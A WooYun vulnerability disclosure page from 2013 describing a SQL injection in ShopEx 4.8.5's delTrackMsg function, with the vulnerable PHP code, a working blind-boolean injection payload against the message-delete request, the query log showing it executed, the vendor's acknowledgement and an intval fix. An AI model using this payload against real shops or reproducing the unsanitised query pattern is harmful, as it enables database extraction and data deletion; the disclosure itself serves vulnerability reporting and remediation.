当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(18) 关注此漏洞

缺陷编号: WooYun-2013-24555

漏洞标题: shopex注入漏洞#2

相关厂商: ShopEx

漏洞作者: Code_Sec

提交时间: 2013-05-26 20:43

公开时间: 2013-08-24 20:43

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码分析

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-26: 细节已通知厂商并且等待厂商处理中
2013-05-26: 厂商已经确认,细节仅向厂商公开
2013-05-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-07-20: 细节向核心白帽子及相关领域专家公开
2013-07-30: 细节向普通白帽子公开
2013-08-09: 细节向实习白帽子公开
2013-08-24: 细节向公众公开

简要描述:

又是sql注入漏洞
测试版本:shopex-singel-4.8.5.78660

详细说明:

文件:\core\shop\controller\ctl.member.php

code 区域
function delTrackMsg() {
if(!empty($_POST['deltrack'])){
$oMsg = &$this->system->loadModel('resources/msgbox');
$oMsg->delTrackMsg($_POST['deltrack']);
$this->splash('success', $this->system->mkUrl("member","track"), __('删除成功'));
}else{
$this->splash('failed', $this->system->mkUrl("member","track"), __('删除失败: 没有选中任何记录!'));
}
}



跟进$oMsg->delTrackMsg($_POST['deltrack']);

在文件:\core\model_v5\resources\mdl.msgbox.php

code 区域
public function delTrackMsg( $aMsgId )
{
foreach ( $aMsgId as $val )
{
if ( $val )
{
$aTmp[] = $val;
}
}
if ( $aTmp )
{
$this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" );
$this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" );
}
return true;
}





出现在DELETE语句的sql注入纯粹是体力活,通过是否删除了message作为判断依据慢慢查吧

提交数据包;deltrack[1]=1) and (select count(*) from sdb_operators)=1%23

查看sql执行记录:

code 区域
130526 20:31:25	  360 Connect	root@localhost on 
360 Init DB shopex
360 Query SET NAMES 'utf8'
360 Query SELECT * FROM sdb_plugins WHERE plugin_type="app"
360 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1
360 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1
360 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1
360 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1
360 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20
360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1
360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1
360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1
360 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#) AND del_status='1'



执行成功

漏洞证明:

2013-05-26_203646.jpg



因为(select count(*) from sdb_operators)=1,所以msg_id=1的记录被删除。

慢慢猜解吧。。。

修复方案:

intval

版权声明:转载请注明来源 Code_Sec@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-05-26 23:18

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-05-26 20:51 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    牛逼大了!

  2. 2013-05-27 17:21 | 小痞子 ( 普通白帽子 | Rank:106 漏洞数:21 | <xss>alert("a")</xss>¥&@&……dssKhwjcw...)
    0

    前排广告位 !膜拜一下

登录后才能发表评论,请先 登录